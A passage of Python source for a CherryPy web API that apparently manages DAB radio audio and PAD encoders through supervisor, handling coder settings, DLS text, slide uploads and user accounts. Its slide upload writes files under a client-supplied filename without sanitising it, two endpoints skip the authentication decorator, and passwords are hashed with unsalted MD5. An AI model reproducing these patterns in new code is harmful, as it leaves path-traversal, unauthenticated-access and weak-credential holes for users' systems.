{'status': '-299', 'statusText': 'path not found', 'data': {}}\n \n else:\n return {'status': '-299', 'statusText': 'coder not found', 'data': {}}\n \n return {'status': '0', 'statusText': 'Ok', 'data': output}\n else:\n return {'status': '-298', 'statusText': 'you have to specify uniq_id', 'data': {}}\n \n \n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def getCoder(self):\n query = parse_query_string(cherrypy.request.query_string)\n self.conf = Config(self.config_file)\n\n output = []\n for data in self.conf.config['odr']:\n output.append( {'name': data['name'], 'description': data['description'], 'uniq_id': data['uniq_id']} )\n\n return {'status': '0', 'statusText': 'Ok', 'data': output}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def setCoder(self):\n self.conf = Config(self.config_file)\n\n cl = cherrypy.request.headers['Content-Length']\n rawbody = cherrypy.request.body.read(int(cl))\n param = json.loads(rawbody.decode('utf-8'))\n \n if 'max_encoder_instance' in self.conf.config['global']:\n if len(param) >= self.conf.config['global']['max_encoder_instance']+1:\n return {'status': '-207', 'statusText': 'Maximum encoder instance reached.'}\n\n odr = []\n odr_to_remove = []\n\n # Check for existing coder Name/Description change and remove\n for data in self.conf.config['odr']:\n coder_exist = None\n for coder in param:\n if data['uniq_id'] == coder['uniq_id']:\n coder_exist = True\n data['name'] = coder['name']\n data['description'] = coder['description']\n odr.append( data )\n if not coder_exist:\n odr_to_remove.append( data )\n\n for coder in param:\n ex = None\n for data in self.conf.config['odr']:\n if data['uniq_id'] == coder['uniq_id']:\n ex = True\n if not ex:\n coder['uniq_id'] = str(uuid.uuid4())\n odr.append( coder )\n\n output = { 'global': self.conf.config['global'], 'auth': self.conf.config['auth'], 'odr': odr }\n\n # Write configuration file\n try:\n self.conf.write(output)\n except Exception as e:\n return {'status': '-201', 'statusText': 'Error when writing configuration file: ' + str(e)}\n\n # Generate supervisor files\n try:\n self.conf.generateSupervisorFiles(output)\n except Exception as e:\n return {'status': '-202', 'statusText': 'Error generating supervisor files: ' + str(e)}\n\n # Remove service\n if len(odr_to_remove) >> 0:\n try:\n server = xmlrpc_client.ServerProxy(self.conf.config['global']['supervisor_xmlrpc'])\n except Exception as e:\n return {'status': '-211', 'statusText': 'Error when connect to supervisor XMLRPC: ' + str(e)}\n\n try:\n programs = server.supervisor.getAllProcessInfo()\n except Exception as e:\n return {'status': '-212', 'statusText': 'Error when retreive supervisor process: ' + str(e)}\n\n for odr in odr_to_remove:\n if all (k in odr for k in (\"source\",\"output\",\"padenc\",\"path\")):\n # Remove PAD file\n if os.path.exists(odr['padenc']['dls_file']):\n try:\n os.remove(odr['padenc']['dls_file'])\n except:\n pass\n\n if os.path.exists(odr['padenc']['slide_directory']):\n try:\n shutil.rmtree(odr['padenc']['slide_directory'])\n except:\n pass\n \n if 'slide_directory_live' in odr['padenc'] and os.path.exists(odr['padenc']['slide_directory_live']):\n try:\n shutil.rmtree(odr['padenc']['slide_directory_live'])\n except:\n pass\n \n if 'slide_directory_carousel' in odr['padenc'] and os.path.exists(odr['padenc']['slide_directory_carousel']):\n try:\n shutil.rmtree(odr['padenc']['slide_directory_carousel'])\n except:\n pass\n \n if 'slide_directory_ads' in odr['padenc'] and os.path.exists(odr['padenc']['slide_directory_ads']):\n try:\n shutil.rmtree(odr['padenc']['slide_directory_ads'])\n except:\n pass\n\n \n # Remove statistics UNIX Datagram socket\n if os.path.exists(odr['source']['stats_socket']):\n try:\n os.remove(odr['source']['stats_socket'])\n except:\n pass\n \n # Remove service odr-audioencoder\n service = 'odr-audioencoder-%s' % (odr['uniq_id'])\n if self.is_program_exist(programs, service):\n try:\n if self.is_program_running(programs, service):\n server.supervisor.stopProcess(service)\n server.supervisor.reloadConfig()\n server.supervisor.removeProcessGroup(service)\n server.supervisor.reloadConfig()\n except Exception as e:\n return {'status': '-206', 'statusText': 'Error when removing odr-audioencoder-%s (XMLRPC): ' % (odr['uniq_id']) + str(e)}\n\n # Remove service odr-padencoder\n service = 'odr-padencoder-%s' % (odr['uniq_id'])\n if self.is_program_exist(programs, service):\n try:\n if self.is_program_running(programs, service):\n server.supervisor.stopProcess(service)\n server.supervisor.reloadConfig()\n server.supervisor.removeProcessGroup(service)\n server.supervisor.reloadConfig()\n except Exception as e:\n return {'status': '-206', 'statusText': 'Error when removing odr-padencoder-%s (XMLRPC): ' % (odr['uniq_id']) + str(e)}\n\n # Remove service slide-mgnt\n service = 'slide-mgnt-%s' % (odr['uniq_id'])\n if self.is_program_exist(programs, service):\n try:\n if self.is_program_running(programs, service):\n server.supervisor.stopProcess(service)\n server.supervisor.reloadConfig()\n server.supervisor.removeProcessGroup(service)\n server.supervisor.reloadConfig()\n except Exception as e:\n return {'status': '-206', 'statusText': 'Error when removing slide-mgnt-%s (XMLRPC): ' % (odr['uniq_id']) + str(e)}\n \n # Remove service adcast\n service = 'adcast-%s' % (odr['uniq_id'])\n if self.is_program_exist(programs, service):\n try:\n if self.is_program_running(programs, service):\n server.supervisor.stopProcess(service)\n server.supervisor.reloadConfig()\n server.supervisor.removeProcessGroup(service)\n server.supervisor.reloadConfig()\n except Exception as e:\n return {'status': '-206', 'statusText': 'Error when removing adcast-%s (XMLRPC): ' % (odr['uniq_id']) + str(e)}\n \n # Remove configuration_changed information\n self.conf.delConfigurationChanged(odr['uniq_id'])\n\n return {'status': '0', 'statusText': 'Ok', 'data': 'ok'}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def getAlsaDevices(self):\n command = '/usr/bin/arecord -l'\n try:\n output = subprocess.check_output(command,\n shell=True,\n stderr=subprocess.STDOUT)\n except:\n return {'status': '-200', 'statusText': 'Error listing alsa devices', 'data': ''}\n return {'status': '0', 'statusText': 'Ok', 'data': str(output.decode('UTF-8'))}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def setConfig(self):\n self.conf = Config(self.config_file)\n\n cl = cherrypy.request.headers['Content-Length']\n rawbody = cherrypy.request.body.read(int(cl))\n param = json.loads(rawbody.decode('utf-8'))\n\n # Remove DLS file of changed\n for data in self.conf.config['odr']:\n if data['uniq_id'] == param['uniq_id']:\n if all (k in data for k in (\"source\",\"output\",\"padenc\",\"path\")):\n if data['padenc']['dls_file'] != param['padenc']['dls_file']:\n if os.path.exists(data['padenc']['dls_file']):\n try:\n os.remove(data['padenc']['dls_file'])\n except:\n pass\n if data['padenc']['slide_directory'] != param['padenc']['slide_directory']:\n if os.path.exists(data['padenc']['slide_directory']):\n try:\n shutil.rmtree(data['padenc']['slide_directory'])\n except:\n pass\n\n if ('slide_directory_live' in data['padenc']\\\n and 'slide_directory_live' not in param['padenc'])\\\n or ('slide_directory_live' in data['padenc']\\\n and 'slide_directory_live' in param['padenc']\\\n and data['padenc']['slide_directory_live'] != param['padenc']['slide_directory_live']):\n \n if os.path.exists(data['padenc']['slide_directory_live']):\n try:\n shutil.rmtree(data['padenc']['slide_directory_live'])\n except:\n pass\n \n if ('slide_directory_carousel' in data['padenc']\\\n and 'slide_directory_carousel' not in param['padenc'])\\\n or ('slide_directory_carousel' in data['padenc']\\\n and 'slide_directory_carousel' in param['padenc']\\\n and data['padenc']['slide_directory_carousel'] != param['padenc']['slide_directory_carousel']):\n \n if os.path.exists(data['padenc']['slide_directory_carousel']):\n try:\n shutil.rmtree(data['padenc']['slide_directory_carousel'])\n except:\n pass\n \n if ('slide_directory_ads' in data['padenc']\\\n and 'slide_directory_ads' not in param['padenc'])\\\n or ('slide_directory_ads' in data['padenc']\\\n and 'slide_directory_ads' in param['padenc']\\\n and data['padenc']['slide_directory_ads'] != param['padenc']['slide_directory_ads']):\n \n if os.path.exists(data['padenc']['slide_directory_ads']):\n try:\n shutil.rmtree(data['padenc']['slide_directory_ads'])\n except:\n pass\n \n\n # Check if PAD socket & DLS file are already used by other encoder\n for data in self.conf.config['odr']:\n if data['uniq_id'] != param['uniq_id']:\n if all (k in data for k in (\"source\",\"output\",\"padenc\",\"path\")):\n if data['padenc']['dls_file'] == param['padenc']['dls_file']:\n return {'status': '-222', 'statusText': 'PAD Encoder > DLS file already used by encoder: ' + data['name']}\n if data['padenc']['slide_directory'] == param['padenc']['slide_directory']:\n return {'status': '-223', 'statusText': 'PAD Encoder > Slide directory already used by encoder: ' + data['name']}\n\n # Check if slide interval/lifetime are ok\n if 'slide_live_interval' in param['padenc'] and 'slide_live_lifetime' in param['padenc']:\n ll = param['padenc']['slide_live_lifetime'] if param['padenc']['slide_live_lifetime'] != '' else '300'\n li = param['padenc']['slide_live_interval'] if param['padenc']['slide_live_interval'] != '' else '35'\n if int(ll) < int(li):\n return {'status': '-224', 'statusText': 'Live lifetime (%ssec) can not be smaller than Live interval (%ssec)' % (int(ll), int(li))}\n \n # Merge change\n odr = []\n for data in self.conf.config['odr']:\n if data['uniq_id'] == param['uniq_id']:\n param['name'] = data['name']\n param['uniq_id'] = data['uniq_id']\n param['description'] = data['description']\n if 'supervisor_additional_options' in data:\n param['supervisor_additional_options'] = data['supervisor_additional_options']\n if 'action' in param:\n param.pop('action')\n odr.append( param )\n else:\n odr.append ( data )\n\n output = { 'global': self.conf.config['global'], 'auth': self.conf.config['auth'], 'odr': odr }\n\n # Write configuration file\n try:\n self.conf.write(output)\n except Exception as e:\n return {'status': '-201', 'statusText': 'Error when writing configuration file: ' + str(e)}\n\n # Generate supervisor files\n try:\n self.conf.generateSupervisorFiles(output)\n except Exception as e:\n return {'status': '-202', 'statusText': 'Error generating supervisor files: ' + str(e)}\n\n\n # Check if ODR program availaible in supervisor ProcessInfo and try to add it\n # Retreive supervisor process\n try:\n server = xmlrpc_client.ServerProxy(self.conf.config['global']['supervisor_xmlrpc'])\n except Exception as e:\n return {'status': '-211', 'statusText': 'Error when connect to supervisor XMLRPC: ' + str(e)}\n\n try:\n programs = server.supervisor.getAllProcessInfo()\n except Exception as e:\n return {'status': '-212', 'statusText': 'Error when retreive supervisor process: ' + str(e)}\n\n # Check for odr-audioencoder\n if not self.is_program_exist(programs, 'odr-audioencoder-%s' % (param['uniq_id'])):\n try:\n server.supervisor.reloadConfig()\n server.supervisor.addProcessGroup('odr-audioencoder-%s' % (param['uniq_id']))\n except Exception as e:\n return {'status': '-206', 'statusText': 'Error when starting odr-audioencoder (XMLRPC): ' + str(e)}\n\n # Check for odr-padencoder\n service = 'odr-padencoder-%s' % (param['uniq_id'])\n if param['padenc']['enable'] == 'true':\n if not self.is_program_exist(programs, service):\n try:\n server.supervisor.reloadConfig()\n server.supervisor.addProcessGroup('odr-padencoder-%s' % (param['uniq_id']))\n except Exception as e:\n return {'status': '-207', 'statusText': 'Error when starting %S (XMLRPC): ' % (service) + str(e)}\n else:\n if self.is_program_exist(programs, service):\n try:\n if self.is_program_running(programs, service):\n server.supervisor.stopProcess(service)\n server.supervisor.reloadConfig()\n server.supervisor.removeProcessGroup(service)\n server.supervisor.reloadConfig()\n except Exception as e:\n return {'status': '-206', 'statusText': 'Error when removing %s (XMLRPC): ' % (service) + str(e)}\n\n # Check for slide-mgnt\n service = 'slide-mgnt-%s' % (param['uniq_id'])\n if param['padenc']['enable'] == 'true'\\\n and 'slide_mgnt' in self.conf.config['global']\\\n and (self.conf.config['global']['slide_mgnt'] == True or self.conf.config['global']['slide_mgnt'] == 'true'):\n \n if not self.is_program_exist(programs, service):\n try:\n server.supervisor.reloadConfig()\n server.supervisor.addProcessGroup(service)\n except Exception as e:\n return {'status': '-207', 'statusText': 'Error when starting %s (XMLRPC): ' % (service) + str(e)}\n else:\n if self.is_program_exist(programs, service):\n try:\n if self.is_program_running(programs, service):\n server.supervisor.stopProcess(service)\n server.supervisor.reloadConfig()\n server.supervisor.removeProcessGroup(service)\n server.supervisor.reloadConfig()\n except Exception as e:\n return {'status': '-206', 'statusText': 'Error when removing %s (XMLRPC): ' % (service) + str(e)}\n \n # Check for adcast\n service = 'adcast-%s' % (param['uniq_id'])\n if param['padenc']['enable'] == 'true'\\\n and ('slide_mgnt' in self.conf.config['global'] and (self.conf.config['global']['slide_mgnt'] == True or self.conf.config['global']['slide_mgnt'] == 'true') )\\\n and ('adcast' in self.conf.config['global'] and (self.conf.config['global']['adcast'] == True or self.conf.config['global']['adcast'] == 'true') ) \\\n and ('adcast' in param and param['adcast']['enable'] == 'true'):\n \n if not self.is_program_exist(programs, service):\n try:\n server.supervisor.reloadConfig()\n server.supervisor.addProcessGroup(service)\n except Exception as e:\n return {'status': '-207', 'statusText': 'Error when starting %S (XMLRPC): ' % (service) + str(e)}\n else:\n if self.is_program_exist(programs, service):\n try:\n if self.is_program_running(programs, service):\n server.supervisor.stopProcess(service)\n server.supervisor.reloadConfig()\n server.supervisor.removeProcessGroup(service)\n server.supervisor.reloadConfig()\n except Exception as e:\n return {'status': '-206', 'statusText': 'Error when removing %s (XMLRPC): ' % (service) + str(e)}\n \n return {'status': '0', 'statusText': 'Ok'}\n\n @cherrypy.expose\n def setSLS(self, uniq_id=None, slide_file=None, rmode=None, **params):\n self.conf = Config(self.config_file)\n \n if cherrypy.request.method != 'POST':\n # it's impossible to use build_response here, because\n # with an invalid request, the `output` parameter is\n # also considered invalid.\n cherrypy.response.status = 400\n cherrypy.response.headers['content-type'] = \"text/plain\"\n return \"Only HTTP POST are available\"\n \n def build_response(g, r):\n if rmode and rmode == 'json':\n cherrypy.response.headers['content-type'] = \"application/json\"\n g['data'] = r\n return json.dumps(g).encode()\n else:\n cherrypy.response.headers['content-type'] = \"text/plain\"\n if g['status'] != 0:\n return g['statusText']\n if len(r) == 0:\n return 'no data updated'\n else:\n result = ''\n for o in r:\n result += '%s: %s\\n' % (o['coder_name'], o['statusText'] )\n return result\n \n def process_query(odr, f):\n output = {}\n output['coder_name'] = odr['name']\n output['coder_uniq_id'] = odr['uniq_id']\n output['coder_description'] = odr['description']\n \n if 'padenc' in odr:\n if odr['padenc']['enable'] == 'true':\n # Find slide directory\n fdest = None\n if 'slide_directory_live' in odr['padenc'] and os.path.exists(odr['padenc']['slide_directory_live']):\n fdest = odr['padenc']['slide_directory_live']\n elif odr['padenc']['slide_directory'].strip() != '' and os.path.exists(odr['padenc']['slide_directory']):\n fdest = odr['padenc']['slide_directory']\n \n if not fdest:\n output['status'] = -208\n output['statusText'] = \"Destination directory %s not exist\" % (fdest)\n return output\n \n destPath = \"%s/%s\" % (fdest,f['name'])\n \n # Write slide\n try:\n with open(destPath, 'wb') as outfile:\n outfile.write(f['data'])\n except Exception as e:\n output['status'] = -208\n output['statusText'] = \"Fail to write slide file %s \" % (destPath)\n return output\n else:\n output['status'] = 0\n output['statusText'] = \"Slide file write to %s (size:%s - %skB)\" % (destPath, f['len'], f['len_kb'])\n return output\n \n # DLS (odr-padenc process) is disable\n else:\n output['status'] = -208\n output['statusText'] = 'PAD Encoder is disable'\n return output\n \n # padenc is not present in configuration / encoder is not configured.\n else:\n output['status'] = -211\n output['statusText'] = 'Encoder is not configured'\n return output\n \n # check if slide_file parameter is available\n if not slide_file:\n return build_response({'status': -401, 'statusText': 'Need slide_file parameter'}, [])\n \n f= {}\n f['name'] = slide_file.filename\n f['ext'] = os.path.splitext(f['name'])[1]\n f['data'] = slide_file.file.read()\n f['len'] = len(f['data'])\n f['len_kb'] = round(len(f['data'])/1000)\n \n # check if sent file is authorized extension\n if f['ext'] not in ['.jpg', '.jpeg', '.png', '.apng']:\n return build_response({'status': -208, 'statusText': 'Unauthorized file extension %s' % (f['ext'])}, [])\n \n # check if sent file size under slide_size_limit\n slide_size_limit = 50\n if int(f['len_kb']) > int(slide_size_limit):\n return build_response({'status': -208, 'statusText': 'File is too big %skB (max %skB)' % (f['len_kb'], slide_size_limit)}, [])\n \n result = []\n if uniq_id:\n # check if uniq_id exist\n if not any(c['uniq_id'] == uniq_id for c in self.conf.config['odr']):\n return build_response({'status': -401, 'statusText': 'Unknown uniq_id %s' % (uniq_id)}, [])\n \n for odr in self.conf.config['odr']:\n if odr['uniq_id'] == uniq_id:\n result.append( process_query(odr, f) )\n else:\n for odr in self.conf.config['odr']:\n result.append( process_query(odr, f) )\n\n return build_response({'status': 0, 'statusText': 'Ok'}, result)\n \n\n @cherrypy.expose\n def setDLS(self, dls=None, artist=None, title=None, output=None, uniq_id=None, **params):\n self.conf = Config(self.config_file)\n\n if cherrypy.request.method == 'POST':\n query = {}\n if dls:\n query['dls'] = dls\n elif artist and title:\n query['artist'] = artist\n query['title'] = title\n if output:\n query['output'] = output\n if uniq_id:\n query['uniq_id'] = uniq_id\n\n elif cherrypy.request.method == 'GET':\n query = parse_query_string(cherrypy.request.query_string)\n\n else:\n cherrypy.response.status = 400\n # it's impossible to use build_response here, because\n # with an invalid request, the `output` parameter is\n # also considered invalid.\n cherrypy.response.headers['content-type'] = \"text/plain\"\n return \"Only HTTP POST or GET are available\"\n\n def build_response(r):\n \"\"\"Helper function to choose between plain text and JSON\n response. `r` shall be a dictionary.\n \"\"\"\n if 'output' in query and query['output'] == 'json':\n cherrypy.response.headers['content-type'] = \"application/json\"\n return json.dumps(r).encode()\n else:\n cherrypy.response.headers['content-type'] = \"text/plain\"\n if len(r) == 0:\n return 'no data updated'\n else:\n output = ''\n for o in r:\n output += '%s: %s\\n' % (o['coder_name'], o['statusText'] )\n return output\n\n def process_query(odr, query):\n output = {}\n output['coder_name'] = odr['name']\n output['coder_uniq_id'] = odr['uniq_id']\n output['coder_description'] = odr['description']\n\n if 'padenc' in odr:\n # DLS (odr-padenc process) is enable\n if odr['padenc']['enable'] == 'true':\n # dls parameters is present and override all other\n if 'dls' in query:\n if self.getDLS(output['coder_uniq_id'])['data'][0]['dls'] == query['dls'] and 'dlplus' not in self.getDLS(output['coder_uniq_id'])['data'][0]:\n output['status'] = 0\n output['statusText'] = 'Ok-oldegal'\n output['dls'] = query['dls']\n return output\n try:\n with codecs.open(odr['padenc']['dls_file'], 'w', 'utf-8') as outfile:\n outfile.write(query['dls'])\n except Exception as e:\n output['status'] = -210\n output['statusText'] = 'Fail to write dls data'\n return output\n else:\n output['status'] = 0\n output['statusText'] = 'Ok'\n output['dls'] = query['dls']\n return output\n\n # dls is not present and artist and title are available\n elif ('artist' in query) and ('title' in query):\n if 'dlplus' in self.getDLS(output['coder_uniq_id'])['data'][0] and self.getDLS(output['coder_uniq_id'])['data'][0]['dlplus']['artist'] == query['artist'] and self.getDLS(output['coder_uniq_id'])['data'][0]['dlplus']['title'] == query['title']:\n output['status'] = 0\n output['statusText'] = 'Ok-oldegal'\n output['dlplus'] = {'artist': query['artist'], 'title': query['title']}\n return output\n\n if (query['artist'] != '') and (query['title'] != ''):\n data = '##### parameters { #####\\n'\n data += 'DL_PLUS=1\\n'\n data += '# this tags \\\"%s\\\" as ITEM.ARTIST\\n' % (query['artist'])\n data += 'DL_PLUS_TAG=4 0 %s\\n' % ( len(query['artist']) - 1 )\n data += '# this tags \\\"%s\\\" as ITEM.TITLE\\n' % (query['title'])\n data += 'DL_PLUS_TAG=1 %s %s\\n' % ( len(query['artist']) + 3 , len(query['title']) - 1 )\n data += '##### parameters } #####\\n'\n data += '%s - %s\\n' % (query['artist'], query['title'])\n try:\n with codecs.open(odr['padenc']['dls_file'], 'w', 'utf-8') as outfile:\n outfile.write(data)\n except Exception as e:\n output['status'] = -210\n output['statusText'] = 'Fail to write dls data'\n return output\n else:\n output['status'] = 0\n output['statusText'] = 'Ok'\n output['dlplus'] = {'artist': query['artist'], 'title': query['title']}\n return output\n else:\n output['status'] = -210\n output['statusText'] = 'artist or title are blank'\n return output\n\n # no needed parameters availablefor odr in self.conf.config['odr']:\n else:\n output['status'] = -209\n output['statusText'] = 'Error, you need to use dls or artist + title parameters'\n return output\n\n # DLS (odr-padenc process) is disable\n else:\n output['status'] = -208\n output['statusText'] = 'PAD Encoder is disable'\n return output\n\n # padenc is not present in configuration / encoder is not configured.\n else:\n output['status'] = -211\n output['statusText'] = 'Encoder is not configured'\n return output\n\n\n output = []\n if 'uniq_id' in query:\n for odr in self.conf.config['odr']:\n if odr['uniq_id'] == query['uniq_id']:\n output.append( process_query(odr, query) )\n else:\n for odr in self.conf.config['odr']:\n output.append( process_query(odr, query) )\n\n return build_response(output)\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def getAudioLevel(self, uniq_id=None, **params):\n if not uniq_id:\n return {'status': '-201', 'statusText': 'missing uniq_id parameters', 'data': ''}\n\n conf = Config(self.config_file)\n data = conf.getAudioSocket(uniq_id)\n\n if data['status'] == '0':\n int16_max = 0x7FFF\n try:\n dB_l = round(float(20*math.log10(float(data['data']['audiolevels']['left']) / int16_max)), 2)\n dB_r = round(float(20*math.log10(float(data['data']['audiolevels']['right']) / int16_max)), 2)\n except:\n dB_l = -99\n dB_r = -99\n\n output = {'state': 20, 'audio': { 'audio_l': dB_l, 'audio_r': dB_r, 'raw_l': data['data']['audiolevels']['left'], 'raw_r': data['data']['audiolevels']['right']}, 'driftcompensation': {'underruns': data['data']['driftcompensation']['underruns'], 'overruns': data['data']['driftcompensation']['overruns']}}\n else:\n output = {}\n\n return {'status': data['status'], 'statusText': data['statusText'], 'data': output}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def getDLS(self, uniq_id=None, **params):\n query = parse_query_string(cherrypy.request.query_string)\n self.conf = Config(self.config_file)\n\n if uniq_id:\n query['uniq_id'] = uniq_id\n\n output = []\n for odr in self.conf.config['odr']:\n if (('uniq_id' in query) and (query['uniq_id'] == odr['uniq_id']) or ('uniq_id' not in query)):\n if 'padenc' in odr:\n if odr['padenc']['enable'] == 'true':\n dls=None\n dlplus=None\n dlplus_data=[]\n try:\n with open(odr['padenc']['dls_file'], 'r') as f:\n for line in f:\n if line.startswith('#'):\n continue\n if line.startswith('DL_PLUS='):\n dlplus=True\n #continue\n if line.startswith('DL_PLUS_TAG='):\n v = line.split(\"=\", 1)\n d = v[1].split(\" \")\n dlplusCode = {\n 1: 'title',\n 2: 'album',\n 3: 'tracknumber',\n 4: 'artist',\n 5: 'composition',\n 6: 'movement',\n 7: 'conductor',\n 8: 'composer',\n 9: 'band',\n 10: 'comment',\n 11: 'genre'\n }\n dlplus_data.append( {'name': dlplusCode[int(d[0])], 'code': int(d[0]), 'start': int(d[1]), 'len': int(d[2])} )\n dls = line.rstrip()\n except Exception as e:\n output.append({'coder_uniq_id': odr['uniq_id'], 'coder_name': odr['name'], 'coder_description': odr['description'], 'dls': 'Fail to read DLS data' })\n else:\n if dlplus:\n dlplus= {}\n for d in dlplus_data:\n dlplus[d['name']] = dls[d['start']:d['start']+d['len']+1]\n output.append({'status': '0', 'statusText': 'Ok', 'coder_uniq_id': odr['uniq_id'], 'coder_name': odr['name'], 'coder_description': odr['description'], 'dls': str(dls), 'dlplus': dlplus})\n else:\n output.append({'status': '0', 'statusText': 'Ok', 'coder_uniq_id': odr['uniq_id'], 'coder_name': odr['name'], 'coder_description': odr['description'], 'dls': str(dls)})\n else:\n output.append({'status': '-10', 'statusText': 'DLS is disabled', 'coder_uniq_id': odr['uniq_id'], 'coder_name': odr['name'], 'coder_description': odr['description'], 'dls': ''})\n else:\n output.append({'status': '-20', 'statusText': 'Encoder is not configured', 'coder_uniq_id': odr['uniq_id'], 'coder_name': odr['name'], 'coder_description': odr['description'], 'dls': ''})\n\n if ('uniq_id' in query) and (len(output) == 0):\n return {'status': '0', 'statusText': 'uniq_id not found', 'data': output}\n\n return {'status': '0', 'statusText': 'Ok', 'data': output}\n\n def is_program_exist(self, json, program):\n return any(p['name'] == program for p in json)\n\n def is_program_running(self, json, program):\n return any(p['name'] == program and p['statename'] == 'RUNNING' for p in json)\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def getUser(self):\n self.conf = Config(self.config_file)\n users = self.conf.config['auth']['users']\n data = []\n for u in users:\n data.append( {'username': u['username']} )\n return {'status': '0', 'statusText': 'Ok', 'data': data}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def addUser(self):\n self.conf = Config(self.config_file)\n\n cl = cherrypy.request.headers['Content-Length']\n rawbody = cherrypy.request.body.read(int(cl))\n param = json.loads(rawbody.decode('utf-8'))\n\n output = { 'global': self.conf.config['global'], 'auth': self.conf.config['auth'], 'odr': self.conf.config['odr'] }\n\n user_exists = any(u['username'] == param['username'] for u in output['auth']['users'])\n if not user_exists:\n output['auth']['users'].append({'username': param['username'], 'password': hashlib.md5(param['password'].encode('utf-8')).hexdigest()});\n else:\n return {'status': '-201', 'statusText': 'User already exists'}\n\n # Write configuration file\n try:\n self.conf.write(output)\n except Exception as e:\n return {'status': '-201', 'statusText': 'Error when writing configuration file: ' + str(e)}\n\n return {'status': '0', 'statusText': 'Ok'}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def setPasswd(self):\n self.conf = Config(self.config_file)\n\n cl = cherrypy.request.headers['Content-Length']\n rawbody = cherrypy.request.body.read(int(cl))\n param = json.loads(rawbody.decode('utf-8'))\n\n output = { 'global': self.conf.config['global'], 'auth': self.conf.config['auth'], 'odr': self.conf.config['odr'] }\n\n change = False\n for i,value in enumerate(output['auth']['users']):\n if value['username'] == param['username']:\n output['auth']['users'][i]['password'] = hashlib.md5(param['password'].encode('utf-8')).hexdigest()\n change = True\n if not change:\n return {'status': '-201', 'statusText': 'User not found: {}'.format(param['username'])}\n\n # Write configuration file\n try:\n self.conf.write(output)\n except Exception as e:\n return {'status': '-201', 'statusText': 'Error when writing configuration file: ' + str(e)}\n\n return {'status': '0', 'statusText': 'Ok'}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def delUser(self):\n self.conf = Config(self.config_file)\n\n cl = cherrypy.request.headers['Content-Length']\n rawbody = cherrypy.request.body.read(int(cl))\n param = json.loads(rawbody.decode('utf-8'))\n\n output = { 'global': self.conf.config['global'], 'auth': self.conf.config['auth'], 'odr': self.conf.config['odr'] }\n\n change = False\n for i,value in enumerate(output['auth']['users']):\n if value['username'] == param['username']:\n output['auth']['users'].pop(i)\n change = True\n if not change:\n return {'status': '-201', 'statusText': 'User not found: {}'.format(param['username'])}\n\n # Write configuration file\n try:\n self.conf.write(output)\n except Exception as e:\n return {'status': '-201', 'statusText': 'Error when writing configuration file: {}'.format(e)}\n\n return {'status': '0', 'statusText': 'Ok'}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def getStatus(self):\n self.conf = Config(self.config_file)\n server = xmlrpc_client.ServerProxy(self.conf.config['global']['supervisor_xmlrpc'])\n output = []\n\n try:\n for data in self.conf.config['odr']:\n if all (k in data for k in (\"source\",\"output\",\"padenc\",\"path\")):\n # odr-audioencoder\n pn = server.supervisor.getProcessInfo('odr-audioencoder-%s' % (data['uniq_id']) )\n pn['coder_name'] = data['name']\n pn['coder_description'] = data['description']\n pn['coder_uniq_id'] = data['uniq_id']\n pn['configuration_changed'] = self.conf.getConfigurationChanged(data['uniq_id'], 'odr-audioencoder')\n output.append( pn )\n \n # odr-padencoder\n if data['padenc']['enable'] == 'true':\n pn = server.supervisor.getProcessInfo('odr-padencoder-%s' % (data['uniq_id']) )\n pn['coder_name'] = data['name']\n pn['coder_description'] = data['description']\n pn['coder_uniq_id'] = data['uniq_id']\n pn['configuration_changed'] = self.conf.getConfigurationChanged(data['uniq_id'], 'odr-padencoder')\n output.append( pn )\n \n # slide-mgnt\n if data['padenc']['enable'] == 'true'\\\n and 'slide_mgnt' in self.conf.config['global']\\\n and (self.conf.config['global']['slide_mgnt'] == True or self.conf.config['global']['slide_mgnt'] == 'true')\\\n and 'slide_directory_live' in data['padenc']\\\n and 'slide_directory_carousel' in data['padenc']\\\n and 'slide_directory_ads' in data['padenc']:\n \n pn = server.supervisor.getProcessInfo('slide-mgnt-%s' % (data['uniq_id']) )\n pn['coder_name'] = data['name']\n pn['coder_description'] = data['description']\n pn['coder_uniq_id'] = data['uniq_id']\n pn['configuration_changed'] = self.conf.getConfigurationChanged(data['uniq_id'], 'slide-mgnt')\n output.append( pn )\n \n # adcast\n if data['padenc']['enable'] == 'true'\\\n and ('slide_mgnt' in self.conf.config['global'] and (self.conf.config['global']['slide_mgnt'] == True or self.conf.config['global']['slide_mgnt'] == 'true') )\\\n and ('adcast' in self.conf.config['global'] and (self.conf.config['global']['adcast'] == True or self.conf.config['global']['adcast'] == 'true') )\\\n and ('adcast' in data and data['adcast']['enable'] == 'true'):\n \n pn = server.supervisor.getProcessInfo('adcast-%s' % (data['uniq_id']) )\n pn['coder_name'] = data['name']\n pn['coder_description'] = data['description']\n pn['coder_uniq_id'] = data['uniq_id']\n pn['configuration_changed'] = self.conf.getConfigurationChanged(data['uniq_id'], 'adcast')\n output.append( pn )\n\n else:\n output.append({\n 'now': 0,\n 'group': 'odr-audioencoder-%s' % (data['uniq_id']),\n 'description': 'CODER is not configured',\n 'pid': 0,\n 'stderr_logfile': '',\n 'stop': 0,\n 'statename': 'UNKNOWN',\n 'start': 0,\n 'state': 1000,\n 'stdout_logfile': '',\n 'logfile': '',\n 'existstatus': 0,\n 'name': 'odr-audioencoder-%s' % (data['uniq_id']),\n 'coder_name': data['name'],\n 'coder_description': data['description'],\n 'coder_uniq_id': data['uniq_id'],\n 'configuration_changed': self.conf.getConfigurationChanged(data['uniq_id'], 'odr-audioencoder')\n })\n output.append({\n 'now': 0,\n 'group': 'odr-padencoder-%s' % (data['uniq_id']),\n 'description': 'CODER is not configured',\n 'pid': 0,\n 'stderr_logfile': '',\n 'stop': 0,\n 'statename': 'UNKNOWN',\n 'start': 0,\n 'state': 1000,\n 'stdout_logfile': '',\n 'logfile': '',\n 'existstatus': 0,\n 'name': 'odr-padencoder-%s' % (data['uniq_id']),\n 'coder_name': data['name'],\n 'coder_description': data['description'],\n 'coder_uniq_id': data['uniq_id'],\n 'configuration_changed': self.conf.getConfigurationChanged(data['uniq_id'], 